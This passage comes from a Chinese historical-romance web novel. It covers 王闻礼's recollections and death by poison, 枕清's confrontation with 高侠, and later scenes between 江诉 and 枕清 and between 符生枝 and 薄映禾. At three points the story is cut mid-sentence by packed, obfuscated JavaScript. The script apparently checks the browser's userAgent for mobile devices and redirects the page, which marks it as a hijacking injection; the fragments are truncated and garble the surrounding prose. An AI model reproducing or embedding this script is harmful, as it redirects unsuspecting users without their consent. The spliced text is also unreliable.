其实张宣晟这话,枕清还是能听得出来,张宣晟并不想她把这只兔子送给王闻礼,甚至故意说出爱兔这两字。 这哪里是她的爱兔,无非就是因为太过无聊,随意在后边抓来的打趣玩玩罢了。 甚至相处的时间不到一天。 她唇角略微弯起,目光落在王闻礼脸上,他的目光带着嚣张,甚至有不可一世的野性,明明山中多黑熊、猎豹,这些凶猛的野兽才更符合他的作风,偏偏要选上她手中最乖巧脆弱的灰兔。 究竟是故意为之,还是无心之举? 枕清站起身,将兔子捧在怀中,思忖笑道:“既然圣上要说给你奖赏,而你却讨了我这边的奖赏,倒有些亏了,既然你想要,我给你。” 她举起手中的兔子,送到王闻礼手中。王闻礼抓着活蹦乱动的兔子,心绪也跟着一同动了起来,他看着枕清那张漂亮的脸,却又像是什么都没看清,只记得她正朝他走近,又走远。 即便在他身上停留一瞬,也就够了。 枕清送完这只兔子,并没有重新坐回高位上,只是说自己困了,微微颔首就大步在这里离开了,干脆利落,没有半点大家闺秀的弱柳扶风。 这场宴会结束后,枕清收到了王闻礼送来的烤兔,上面撒上了各种香料,看起来很是可口,身旁的贴身宫女不禁被吓得面色惨白。 这兔子明明在白日还是好好的,晚上就被烤了,她替枕清大为不满,高呼道:“大胆!这位陇右来的王闻礼真是大胆!竟敢把皇后殿下所赐的兔子给烤了,这乃是御赐之物,他杀了烤了也就罢了,甚至还敢拿到皇后殿下面前炫耀,这不分明是明晃晃的挑衅!” 另一位宫女也跟着附和道:“是啊,陇右果真是多粗鄙之人!皇后殿下,你就不怕吗?” “一只兔子而已,怕什么?”枕清唤人把那只兔子拿过来,她仔仔细细端详了一会,这烤兔子的技法熟练,随即扯下一只兔腿。 宫女们面色大惊,枕清咬下一口,品尝了味,平静道:“好吃。” “还没试过毒呢!”宫女急声道,“皇后殿下赶紧吐出来。” 枕清闻言笑笑,她放下兔肉,起身拿上披风,见宫女们匆匆忙忙要跟上她的步伐。 她忽然觉得心中烦躁不快,可她并没有怒气冲冲地发火,而是特别温柔地开口:“我出去散散心,不必跟着。若敢违抗我的命令,杀无赦。我想杀哪个人,圣上一定会答应的吧。” 这群人都是张宣晟为了保护她而选的,虽说保护,实则监视。 平常的时候,枕清是睁一只眼闭一只眼,不过今日她心情不好,便不愿意有人跟着监视她。 听到枕清如此说,那群宫女战战兢兢地面面相觑,她们跟了皇后殿下许久,到现在也没摸清楚枕清的脾性,不过知道她是说一不二的人,常常用最温柔的表情说最残忍的事情。 就是俗称的“温柔刀”。 她们几人到最后也没有跟着枕清出去,却也不敢隐瞒懈怠,转了个方向跟张宣晟禀告。 枕清独自一人走在旷阔平坦的岸边,看着芦苇荡,当即躺在地上,望着满天繁星。 她从来不是什么大家闺秀,也不在乎那些繁文缛节,即使来到了长安,感受到不同的风土人情,也成为了宫中之首,可她依旧是在雷州长大的野孩子。 地上冰冷,风际吹过,更是如此。直到手边传来一股温热柔暖的活物,才叫她会过远去的思绪。 那是一只灰兔,枕清只瞧上一眼,便缓缓坐起身子抱起那只灰兔,在手中抚摸把玩,颇有蹂躏的意思,不过动作很轻,很有分寸。 少顷,身前突然站了有一个人,枕清没有抬眼,便已经知道那人是王闻礼。 “下官送的那只兔子,皇后殿下吃得可好啊?”王闻礼问。 她今日喝了不少酒水,看得人不太清明,脸颊上浮起微微的红晕,她爽快道:“不错,味道甚好,下次封你当宫里的御厨。” 王闻礼突然畅快地笑了起来,白日刚送出去的兔子,在晚上就收到一只被烤死的兔子,换做旁人肯定觉得他这是在挑衅,可这位皇后殿下竟然没有这般想,甚至还尝了他送的兔子。 还要封他为御厨,果真是旁人不一样! “御厨啊,御厨甚好,我这都督的职务都不及皇后殿下口中的一个御厨好。”王闻礼蹲下身子拿过枕清说中的灰兔,“再给殿下烤上一只?” 从前的王闻礼只是远远望上一眼枕清。枕清身份高贵,气度威严,一举一态都非常端庄,也非常地高傲,不把任何人放在眼里。 也是这一次,他才发觉出一点不一样的枕清。竟然还有这么可爱的姿态,他迟疑,却又留恋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665357|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 即使这是圣上的妻,他也并没有觉得什么,自古以来,臣夺君妻又不是没有? 枕清摇了摇头,夜色太黑了,她脑袋晕晕乎乎,把身前的人看作了另一个人,入迷了眼,轻唤了一声:“江来听。” 王闻礼从未听过这个人、这句话,他疑惑地猜解枕清的话:“江来听?殿下不就在江边吗?也已经听到江水的声音了。” 枕清好似没听到他所回的话,固执地问:“为什么不应我,你是聋了吗?” 王闻礼困惑道:“皇后殿下,您喝多了。” 枕清倏地回神,她像是被皇后殿下这声刺痛,缓缓道:“是啊,我喝多了,就是想来听,听江水的声音。” “我陪殿下一起听。”王闻礼坐下,望着波光粼粼的湖面。 这是他在腥风血雨的一生中少有的平静。 这也是他们两人在上一世唯一一次单独的见面,很可惜,之后再次见到,枕清已经忘了这回事,从未有过他的记忆。 而他喜欢枕清的事,也在这日被发现了。 张宣晟知晓后,急不可耐地要杀了他,又因种种缘由,最后也仅仅是怒不可遏地提醒他:“她是我的妻!她是我的妻!” 王闻礼面上无惧:“是圣上的妻又如何?” 张宣晟怒道:“你胆敢妄想,我会杀了你!” 王闻礼慢条斯理地笑道:“牡丹花下死,做鬼也风流。” 后来他越发留意枕清,喜欢看她任何模样,无论是开心还是忧伤,就好像眼里只剩下她一个人。 所以重来一次,到长安城那一次,他明明知道那就是枕清,明明知道她心有算计,却甘愿沉沦,唯有那一次,他才能让自己离她更近。 明知道那是荆棘丛生的野林,险恶难行的沼泽,可他依旧义无反顾地踏进去,即使浑身是血,也要沉浸在砒霜的甜蜜中。 可是枕清好似一点也不喜欢他。 是因为他曾经的小妾太多了?还是因为自己之前的手段太过残忍?又或者是她不喜欢他这般模样? 可最后的最后,他想,如果他比江诉更早认识枕清就好了。 而那次在春闱夜晚的江边,她所喊的江来听,会不会变成他王闻礼? 在下一世,他想要出生在长安,想要走在江诉前面遇见她,然后困住她,让她这一辈子眼中只有他一个人。 可眼中只有他的枕清,就不是枕清了。 他又想,他大概只会走前,笑说:“枕小娘子,我会烤兔子,你要不要庖人?”[1] 王闻礼恍恍惚惚回想这两世,他看向前方的仇羌,缓缓将目光落在江诉身上道:“仇羌武功绝非一般,你敢把这样不清不楚的人放在她的身边?” 话音正落,他突然吐出一口乌血,唇角挂着淡淡的笑容,自知气数已尽,他深深地闭上眼睛,再也没有睁开。 “长史,他口中含毒,现下已经咬毒自尽了!”有人大惊失色道。 江诉挥手,平静道:“安葬吧。” 有人来报,王闻礼死了。 枕清眉眼淡淡,并没有多余的表情。 仿佛死的,只是一个过客。 良久后,屋内的人都已经离开,枕清走到窗边,推开窗棂,抬头望着灰蒙的天空。 原本纷纷扬扬的飞雪,好像停了。 66. 鸟宿枝头水影空(一) 一切都回归于平静,有关党羽都已经被缉拿。 原本一片喜气洋洋、欣欣向荣的都护府,逐渐变成了沉默又萧条的场面。 枕清的喜服已经褪下,她换了一身清浅的襦裙,江诉也穿回平常的衣服,两人心照不宣地看着被带过来的高侠。 高侠即使被缉拿住了,也没有阶下囚的败落,气焰一如往常的嚣张,他怒看枕清道:“你根本就是北肆姝!更不是什么渭州来的北小娘子,你取代了北肆姝,诓骗了我们所有人!” 正堂内,高侠的声音所有人都能听见,他们的目光随着高侠的话,都望向了枕清,枕清对于他们疑惑、打量、质问的目光毫不在意,只是垂眸看向山穷水尽的高侠。 她弯起唇瓣笑,故作疑惑中带着讥讽:“哦?我不是北肆姝?那我谁是呢,而真正的北肆姝又在哪里呢?是在你高校尉这里吗?” 枕清的声音很慢很稳,甚至没有一点恐惧之意。她缓缓站起身子,用眼尾睨他,语气含着轻蔑道:“不过是叫仇羌杀了你往日的兄弟,现在的你走投无路,想要拉我下水吗?未免也太疾言厉色了吧。都督是个聪明人,自然不会被你这几话所蛊惑。” 符生枝嗤笑一声,坐在正堂正上方,微微歪了歪头,声音仿佛含了沙砾,又哑又刺:“别把我架得这么高,我是一个特别容易被蛊惑的人,北小娘子。” 这话说得严重,符生枝被今日这一出,已经生起了巨大的不爽和怀疑,对于江诉和枕清都没有什么好姿态。 “身居高位,必承其重,都督在其位谋其政,如何不能架得高了呢?”枕清倒也不怕,她继而又道,“即使再容易被蛊惑,是非之心,人皆有之。”[1] 好一句是非之心,人皆有之。 倘若他符生枝所做的不能如她北肆姝所愿,那就是没有明辨是非之心了? 好一张能言善辩的巧嘴! 符生枝幽深地目光凝视枕清,枕清仿若未觉,她看着堂中诸位,高声道:“我来庭州的路上,曾杀过一个人,这事我并没有隐瞒,不少人都知道。而我之所以会杀他,是因为他的那支箭矢,要我的命。” 那日的事情不仅仅只有他们知道,甚至还在军中传开。高侠听到枕清拿这件说事,面色惨白,不知从何开口。 枕清则是没有放过他的意思,步步压紧:“高校尉,你在王闻礼底下当了这么久的官,明明知道那人也是王闻礼底下的官差,你却跟我说是射歪了大雁的普通猎夫,究竟意欲何为?” 这明晃晃的欲盖弥彰,每个人都能听出这是此地无银三百两呢。 枕清说出来的话条理清晰,甚至反手把一个又一个埋下的炸药丢了出去,叫人毫无招架还手之力。 张飞飞站在边上想要开口说点什么,却见邓跃摇了摇头,于是泄气地将脑袋瞥向一边,反倒是仇羌看得起劲,甚至把张飞飞的肩膀都掐疼了,可见有多激动! 仇羌自是知道枕清的手段,喜欢将人架在高处,又重重摔入泥潭。 张飞飞被捏得生疼,不情不愿地甩开仇羌的手,仇羌努努嘴,朝邓跃肩头上靠,慢慢地看着这出好戏。 枕清冷静分析,言语犀利:“你是想联合王闻礼让我死在路上,从而让陇右与陇西产生嫌隙;还是说你想要栽赃嫁祸江长史,让王闻礼官复原职,而你有登居高位的意思;抑或是你早有叛乱之心,就等今日了!可你不知道,自从你骗我的那日起,我对你早有警惕,便把手中百余骑兵交予江长史,才有今日这般的后招,而现下你发觉局势已变,自己已是强弩之末,于是想借最后一次机会,泼我一身污水?” 啧啧,真是,说得他都信了。 而且还把江诉私自调动枕清的骑兵说得合情合理,即使符生枝要怪责,也能功过相抵,甚至有枕清搅和,更叫人难以对江诉下手。 仇羌频频感叹。 高侠气急败坏道:“你这简直一派胡言!” “我是不是胡说,你唤人来便是!”枕清犀利地抬眸看向张飞飞那三人,“仇羌是我自己的人,我就不问了,张飞飞、邓跃,你们来答!” 突然被点名的两人身上顿时起了鸡皮疙瘩,他们话语哽咽在喉中,真的绝了。 一边是曾经的兄弟,另一边是他们顶头长史未来的夫人,这真是有些骑虎难下。 张飞飞唇角微动,邓跃却知道枕清这是想要他们两人完完全全撇清跟王闻礼的关系,从此都认真地跟在江诉身边。 倒戈的心思太多,难免不放心。 邓跃正要拱手说明原因,以表跟随江诉的决心,符生枝凌厉的眼眸微微施压,从喉中发出一声冷哼。 都是枕清占据上风,符生枝倒是有些听不下去,摆了摆手道:“不必了,就这样吧。” 高侠急了,他面露痛色的恨意,王闻礼为何至死都要保护枕清,他不明白,他一点都不明白! 高侠道:“都督!她真的不是北肆姝!” 枕清悠悠挑起半侧秀眉:“那我是谁呢?” 他不知道啊,徐瀚没来得及告诉他,王闻礼也不说,他什么也不知道啊,只知道她不是北肆姝。 面露痛苦茫然的神色,恍惚间,他好像听到王闻礼曾经喊过这位一女娘的名字,他跟着回忆王闻礼的唇形,缓缓地念出来:“枕清。” 枕清。 薄映禾神色微动,她瞬间探查到众人的神色微变,而枕清的名字,想必在枕清的名字在刺杀禹王那一日,就已经响彻了整个大启。 倘若再照这样发展下去,这件事变得极为复杂,薄映禾不愿意枕清再和禹王扯上任何瓜葛,也不想旁人发现枕清没有死的行踪,便在今日,不能把所有人的视线都堆积在枕清一人身上。 薄映禾当即站出来,厉声道:“高校尉到底在胡说什么,我可是在渭州见过北小娘子的人,岂容你这般诓骗都督?你一个满口谎话,意图造反的人,说出来的话又有谁会信?” 卷柏见状叉腰,当即在一旁附和道:“就是就是!” 薄映禾不是个爱出头解围的人,甚至在平日里都不会出现,只是默默地在背后听符生枝提及,再默默开解,第一次这样的薄映禾,不仅仅是众人第一次见到,就连枕清都没料及到。 三个女人同气连枝,把高侠的气焰压得死死的,让人一句话都说不出来,反倒是符生枝看着薄映禾的目光沾了点古怪。 枕清啊。 他熟啊。 映禾妹妹。 符生枝唇角勾起一抹嘲讽,心中另有打算,他看向江诉道:“今日这是出现太多意外,早已经错过吉日,来听想作何打算?” 江诉一直没有开口说话,既没有出面帮衬枕清,也没有出声为自己解释或是讨赏,明明是今日的大角色,却又想藏去行踪,这才是真正的藏拙,事事做得滴水不漏,却又不激进,好似甘愿俯首,成为他手中最利的剑。 可突然有一天,他发现这剑越发的锋利了,甚至隐隐有对准他的意思。 他拿不稳了,那便弃了吧。符生枝想着。 江诉神色如常,平淡道:“今日不行,那就改日,我看三天后也是大喜日子,不如就那日吧。” “不知道是因为年轻脑子好,转得快,一下子就知道三天后也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枕清知道自己唤不动人,不由走前,江诉微微俯下身,在枕清耳畔低声道:“没事,信我。” 江诉反手将枕清护在身后,枕清见状,旋即朝薄映禾身旁走去,在符生枝的剑当即抵在江诉颈侧,江诉并没有动,而是冷静地看着符生枝。 枕清见此动作,将隐藏在袖中的利器拿了出来,抬起冷眸看着符生枝道:“都督手中的剑要是不稳,磕碰了一下他,那么薄娘子身上也会出现和江诉一样的伤,我这人从来不开玩笑,符大都督好生思量。” 符生枝朝她那处望去,看到枕清手中的一把匕首被她轻巧旋转。 见他来看,枕清笑着将利刃那面抵在薄映禾纤细又孱弱的脖颈处,好似下一刻就能见红。 两人目光带着同样的神情,却又大不相同,不过能明白大家心中都不畅快。 “哎呀呀你看看这是干嘛呢!”邓跃出来打个缓和,“都是自家人,都是自家人,有话好好说,一群莽夫,动刀动剑的!” 碍于薄映禾在枕清手中,他只好敛下怒意,放下手中的剑。 其实薄映禾会武功,而枕清气势微弱,倘若她真想要伤薄映禾,也难。可是薄映禾不仅甘愿做枕清的人质,甚至还一声不吭。 明明猜测到枕清不会伤害到薄映禾,可是他还是不敢赌。 两方人终于放下手中武器,那人这才放心。 今日事情多,着实有些累了,枕清不想说话,她默默瞧了堂内人几眼,走出堂外,刚迈出两步,双眼一黑,便失去了知觉。 67. 鸟宿枝头水影空(二) 所有人都知道今日是江诉和北肆姝的大婚之日,而枕清一大早起身梳妆打扮,在匆匆的忙碌中,一天没吃东西,又出现了这么多事情,便也就饿昏了过去。 枕清醒来的时候,外边的天已经黑了,屋内只剩下几处孤零零的灯盏还在亮着。门扉大开,烛光轻晃,映照出三位形状不一的影子。 她缓缓撑起身子,抬眸瞧了一眼不远处昏昏欲睡的卷柏,又看着自顾自倚在门边的仇羌,还有一声不吭的江诉。 三人的气氛诡异又平和,枕清抿了抿生涩干薄的唇瓣,小声道:“醒了,你们都回去休息吧,我没什么事。” 仇羌闻言挑起眼尾睨她,拿剑的身形微动,一年前枕清还能跟他动手打个有来有回,现在怕是连剑都提不起来,他只是略微看一眼,就提着卷柏离开了。 人离开后,江诉并没有跟着一同走,而是在寒风吹来片刻后,关上门扉与窗棂,突如其来的昏昏雾雨与薄薄暮色都被挡在门外。 江诉走至一旁点燃烛火,他高大清俊的身形瞬间被照亮,就连面容都被照得无比温玉,却也不失少年郎的凛冽气息。 积石如玉,列松如翠。郎艳独绝,世无其二。[1] “仇羌武功很好?” “是挺好的。” 江诉又问:“你很信他?” 枕清道:“并没有,只是我无人可信。” 无人可信,无人可用,那就只能赌一把,从而不得不信。 她从小就活在一个又一个谎言之中,难以相信别人,却又因局势所迫不得不去相信,无论是为了活下去,还是为了让自己更轻松些。 江诉很想和枕清说你可以信我,枕清像是猜想到他的想法,弯起眉眼道:“我信你。” 江诉抿唇淡笑,那笑容和平日并无不同,脸上再也没多余表情,只是反问道:“你知道王闻礼在死前和我说了什么?” 枕清察觉到江诉情绪的不对劲,留意后答道:“注意仇羌,他武功极好。” “既然你知道,我就不说了。”江诉替她整理好被角,“要再睡会,还是想起来?” “睡会吧。我觉得今日有些累。” “好,我陪你。” 江诉俯身轻轻抚开枕清的青丝,温柔道:“三日后大婚,你身体还吃得消吗?怎么会把身子骨落得这般差劲。” 枕清听得出来江诉心疼的意思,她睁开眼看着眼前的人,轻轻抬手碰了碰他的面颊,想要一点点抚平他心中的痛楚,可是那痛色一直存在。 明明承受疼痛的人是她,为什么江诉比她还要痛呢? 她没有告诉江诉自己曾身中蛊毒,江诉便一直以为是那次禹王府中的箭矢将她去了半条命,如果没有被发现,枕清这辈子都不会和江诉说这件事。 她轻声道:“没事,江诉,我就是有些累了,你抱抱我,抱着我就觉得我不是一个人,我就还能坚持得下去。” 江诉听到这话,当即将枕清大半个身子揽入怀中,轻轻拍着枕清,以作安抚。 枕清感受到江诉的体温,耳畔听到彼此的气息,亦有久违的温暖。长期待在陇右的江诉早就改了在长安所穿细腻柔和的丝绸布料,大多时候都是一身厚重的深色劲装示人,也有英姿飒爽的少年将军模样。 可今夜的江诉又换回了从前模样,甚至还有几许醉人的温柔,她面颊贴上他的青衣,深陷其中。 江诉搂着枕清,想说点什么,可又顿了顿,良久过后,没听到枕清传来平稳的呼吸声,他便知道她没有睡。 “其实早在北沙窝的那几日,你就已经摸清楚我这边的局面。你看得出我不信任他们,他们在我底下也各自分成三派,你想要警醒抑或是清楚我的底下不忠于我的人,却没有好的切入点,于是在邓跃出现在帐篷内的时候,你顺水推舟,说自己并不在意。” 江诉的声音很平静,没有任何责怪的意思,不过仔细听,能听出淡淡的疲惫,这份疲惫不是枕清所布置的局面令他猜测到所致,而是今夜很晚了,的确有些晚得累人。 他垂下目光,看到枕清的睫毛微微颤动,呼吸变得极为轻,好似一只即将濒临死亡的蝴蝶,是那么的脆弱,又是那么无辜。 江诉声音温柔,却没有隐藏自己不高不低的情绪,他继续道:“不过你没想到在启程的路上,徐瀚居然会出现在陇右,更没有想到徐瀚与高侠的关系会这么好,甚至有包庇之心,于是你开始害怕、担忧,你便用他想要杀你的说辞先杀了徐瀚,从而叫高侠记恨上你。 “他确实恨上了你,和王闻礼里应外合,支走符生枝的军队,调动我底下的人马,集结了所有能用的人,却唯独算漏了你手中的上百余骑兵。不,也没算漏,只是他觉得你不会朝他下手,也不知道你底下的骑兵是在我这里。” 江诉就差没直白地说出她和王闻礼曾在私下见过面,甚至引诱王闻礼孤注一掷。枕清呼吸很轻很淡,好似很镇定,可眼睫的颤抖将她的平静伪装撕开一角,让江诉一眼就能瞧出端倪。 他说:“你的骑兵,是看在你的面上才听命于我。我知晓符生枝为何会在今日如此动怒,因为他觉得我在谋划一箭三雕的好局面,想要把底下不听话、难控制的下属铲除殆尽,叫其难以抗衡持平,这样的我就有一支完完全全属于自己的人马,且不受他的控制。他害怕这样的场面,也认为我在算计他,今日的他如同受人摆布的鱼肉,面上更为难堪。” 枕清忽地有些听不下去了,她闭上双眸,害怕江诉继续讲下去。江诉那么聪明,一定知道她的想法和下一步动作。 所以,他一直在迁就着自己。 “可大概没有人知道,这所谓一箭三雕,我也是今日才清楚。”江诉停止安抚的动作,下颚抵在枕清的发梢,感受她身上的清冽的气息,好似很冷,又好似滚烫。 江诉滚动喉咙,忽地轻问:“我是你的棋子吗?” 枕清鼻尖猛然泛起酸意,眸中当即噙着泪花,眼泪不争气地从眼角滑落。 她时而也觉得自己好痛苦,不知道在做什么,却又偏偏什么都做了。 “不是。”枕清疲于解释,可依旧说,“当然不是。” 江诉淡淡一笑,似有若无地摩挲着,唇瓣在她发梢上珍重一吻:“也可以是,被你利用,心甘情愿。” 枕清心间一颤,犹如在耳畔轰鸣炸裂,胸腔内的那颗心敲击起巨大的雷鼓声,一种舒畅与悸动的感觉漫延至全身,好似将她下了一个咒术,良久后,才缓过神来。 不知道江诉处于何种原因会说出这样的话,而之前的担忧与后怕,在江诉的这句话过后,都变成了不必在意。 一切都是他甘之如饴。 枕清指尖不由自主地蜷缩,她缓缓启唇,声音很轻却又极重:“我不以人为棋,也不自大到觉得能把所有人都掌控其中,对于世间万物,我们都太过薄弱。我站在高处俯瞰低处的人,觉得所有人都是如此的渺小,可低处的人望向我时,我在他们眼中也只是浮尘一点。 “江诉,我不是一个循规蹈矩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665359|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,可能是自小狂野惯了,很多事情我都只会闷在心里谋划,没有朝旁人说出口的能力。” 枕清挣脱江诉的怀抱,抬起湿漉漉地眸子,怔怔地又迷恋地望向江诉,认真道:“我很高兴,你能告诉我你对这件事的不高兴,下次我会......我会说的。” 江诉掉落枕清这双漂亮坚定的眸中,是他从未见过的模样,也是只属于他一人的模样。 耳畔好像放出一阵阵烟花,她说的话都成了背景,好似什么都没有听清,而他望着枕清的双眼,如同深秋湖水,含着情不比枕清少多少。 江诉面色温和,微微一笑道:“我知道你这是为我好,也知道你害怕我因为底下的人而出现差错。你是好意,我都知道。只不过日后,符生枝会对我们有所防备,我们需要更加注意和谨慎。” 枕清自然也想到了这一层,符生枝不足为惧。 她歪了歪头,眼中带着笑意的狡黠,指了指自己的唇瓣,促狭道:“这事你无需太过担心,你现在亲我一下,我就告诉你一件事。” 江诉垂眸看向她弯起来的唇瓣,脸上的精气神好上了许多,便也弯起笑意,在她唇上深深吻了吻,心满意足后,才道:“说吧。” “我知道薄映禾一个秘密。”枕清伸出手指,牵上了江诉,五指交缠,“她就是枕灵。” 枕灵。 这人江诉虽是不熟悉,但也听过。 枕淮第一个孩子,也是枕清的亲姊姊。 只是没想到枕家的两个女儿,一位成了都督夫人,而另一位一直在禹王府中养着,成为了小县主。 两人的行迹各不相同,却又能走到一起,倒也像是冥冥之中自有定数。 可是无论是符生枝,还是禹王,这两人都与枕家被灭门脱不了干系。 难怪先前薄映禾在高侠咬定枕清的身份后,会显得这般激动,这是怕旁人发觉到枕清的身份,不过了解薄映禾的符生枝也一定有所察觉。 这下江诉也没那么担忧,毕竟符生枝对薄映禾的感情不假,只是不知道薄映禾和枕清的关系如何。 看枕清这样,理应没有多大问题。 “我逼她了。我想这她既然不愿意相认,那我就随她的意愿,正好今日这一出,尽早分崩离析。如果她认我,愿意和我走近,那么我今日所做的事情,自然也不会被怪罪。”枕清反正也已经和薄映禾摊开来讲,自然不会担忧,至于江诉和符生枝,多相处多磨合,这件事也就过去了。 只不过唯一的坏处就是她身份在符生枝面前暴露,而他想要对付渭州刺史的计划从而泡汤。 江诉后知后觉道:“所以你才敢这么地肆无忌惮?” 枕清重新躺回江诉的怀中,她考量得东西太多,无论好坏,她都打算了很多,这样心思颇深的自己,好似会让人害怕。起码张宣晟确实害怕她,而郁华隐和裴凌云也是活生生的例子。 张宣晟刚坐上皇帝的那会,就曾和她说:“我预感到日后的有一天有一个绝好的机会摆在我们面前,你肯定会踩在我头上往上爬。” 那时候的枕清只是笑笑,声音很平静:“圣上都是已是万人之上了,天下唯你独尊,我还有什么机会往更上面爬呢?圣上莫要太高看我,也别自己吓着自己。” 不过最后张宣晟也的确是死在她手中,张宣晟的害怕也不无道理。 枕清心绪惶惶,小声问:“江诉,你会怕吗?会怕这样的我吗?” 江诉道:“不会,我永远都不会怕你。” 68. 鸟宿枝头水影空(三) 更深人静,银烛高烧。 枕灵之所以会来陇右这边,起初确确实实是为了查枕家的案子,自然也是奔着符生枝来的,不过最后查出符生枝与枕家灭门一事并没有太多瓜葛。 今日的她与枕清完完全全撕开彼此的真实身份,也对枕家内情存疑,甚至隐隐有对抗之意,许多事情不得不停止,也不得不换一种方式。 符生枝今日坐在桌案前一声未吭,薄映禾也坐在梳妆台前,垂眸静想。 少顷,符生枝低喊她的名字,哑着声道:“薄映禾,北肆姝究竟是不是北肆姝,你当真不知道?” 这件事既然引起符生枝怀疑,自然已经瞒不住。 薄映禾也不想瞒,坦诚道:“她是枕清,是我的亲妹妹。符生枝,你应该知道我对她有愧疚......” “有愧?” 符生枝突然轻笑一声,从屏风后走了出来,高大的身形笼罩下一片阴骘,脸上浮起一抹怒意,有意问道:“所以,你想我怎么做?装作什么都不知情,还是说你想我把这都督的位置,拱手相让?” 薄映禾知晓符生枝心中憋愤有气,自己甚至还没有站在他这一边,说出的话都显得气急败坏,薄映禾也只坐着,并没有回话。 符生枝在今日,可算是全都看明白了,这么晚了,他也已经把所有的事情都想了遍。 今日是他冲昏了头才会对江诉动手! 虽然江诉刚来陇右的时候,他的确不在意江诉的生与死,但是后来,与江诉相处的越久,他越喜欢。既然他有这样的感觉,他不信江诉对他从始至终都是利用。 况且江诉摸得清他的脾性,断不会做得如此激进,甚至这么急不可耐地脱离自己的控制,可这件事又能不叫江诉察觉,实在是难。 或是江诉察觉到,却没有阻止,甚至有随那人的意思。 那么就只有一个人,那就是北肆姝,也便是枕清。 符生枝隐忍怒意,咬牙切齿地自嘲道:“你这妹妹可真是好妹妹啊,今日这件事怕不是江来听一人谋划的,而是你那好妹妹枕清,她知道我碍于你的面子拿她没辙,当真善用人心。” 薄映禾闻言,微微侧过身子,眉梢微微蹙起。 如果仔细看,便能知道她已经到了不耐烦的极限,不过彼时的符生枝也有所困扰,又加之天色昏昏,四周的暗色看不清薄映禾脸上的情绪,便以为被猜测到后的沉默不语。 符生枝正想继续说,薄映禾如同被提拉着的木偶,僵硬地整理好自己的衣发,掠过他独自走到床榻边上,冷声道:“既然你如此不满,那你去杀了她吧,只要你敢动手就行。” ...... 许多怒气的话堵在喉咙,符生枝抿了抿唇,突然气笑了,跟在薄映禾身后道:“激将法?真管用!” 他当下用力地抱住薄映禾的后背,下巴抵在她的肩膀,摸索着道:“你分明知道我今日受了巨大的委屈,为什么不能怜惜一下我,你明明知道你安慰一下我,我就能好了,可是你一句也不愿意说。” 薄映禾任由他紧紧抱着,感受到身后那人的委屈,甚至能察觉到无处发泄的一腔怒火,偏偏又只能独自吞咽。明明是哄一哄的事情,薄映禾却不愿意这么做了。 不是因为不爱,而是她不能确定在符生枝身边留多久。 薄映禾叹了一口气,扯开符生枝抱住自己的手,没扯开,便也放弃了,声音带着疲惫:“符生枝,我很累。你也知道我原本想朝禹王下手,可是因为她的出现,很多事情便就此终止了,我现下思绪混乱,实在没力气,你如果想不明白,那就慢慢想,慢慢想也想不明白,那你就去杀了她。” 左一句杀了她,右一句杀了她。 无非就是想图个清静。符生枝跟薄映禾相处这么多年,怎么会不知道她的想法?更何况他知道薄映禾将枕家、枕清看得极重,而他爱薄映禾胜过所有,自然更不可能让薄映禾伤心。 枕家满门的惨案是薄映禾一直以来的心病,她想要对禹王动手,符生枝是知道的,就是没想到薄映禾一直在谋划,甚至已有出动的意思。 明明之前都是好好的,没有半点风声鹤唳的样子,唯独枕清死了的那天,薄映禾将自己关在房间整整三日。自此后,表面一片安静祥和,可是符生枝到今夜才发觉,原来薄映禾一直都有在谋划、在算计。 今夜的反常,恰似为之后的离开而铺路。所以她不在意自己是否高兴,不在意自己是否难过,更不在意自己会不会对枕清动手,因为薄映禾俨然陷入了两难境地,或许杀了枕清,她真的能后顾无忧了! 而她也能去完成自己的事情而孤注一掷。 她会离开陇右,会去长安。 顷刻间,符生枝心生慌张,急促逼问道:“你是不是又想走了?薄映禾!” “你又要骗我是不是?你想去长安了?你想把我一个人丢在陇右对不对!”符生枝突然变得几近崩溃,“你怎么又要骗我,你不是和我说你放下了吗,说你只要见到枕清能开开心心的长大就无所谓!你现在见到了,可是你还是要离开,你骗我!” 薄映禾被符生枝紧紧握住双臂,在符生枝一声声地痛苦质问,将她击碎到溃不成军。 薄映禾甩开他的手,压抑自己眸中的戾色,猩红着眼,怒声道:“我是骗了你,你不是从一开始就知道了?我骗你,你依旧选择我,这是你心甘情愿的!符生枝,做人要言而有信,最开始我们究竟是为什么在一起,你难道不知道?你自己定下的结盟难不成你都忘了?我们早就应该一拍两散了!我不想在这都护府中和你一直蝇营狗苟下去!” 符生枝被她的话刺痛,他垂下目光,望进她眼神中满是坚定,卑微又慌张地握住她的手。 他声音带着不自知地隐忍与哀求:“我后悔了!薄映禾我后悔了!如果知道我居然会这么爱你,那我一定不会说出那些话,任由你去往,各取所需!” 那时候的符生枝还没有坐上都督的位置,当时符家局势动荡,各方势力都有动手的意思,为了稳固维持局面,内里空虚的符家只能虚张声势,不让他们察觉到符家已经走上了萧条败落。 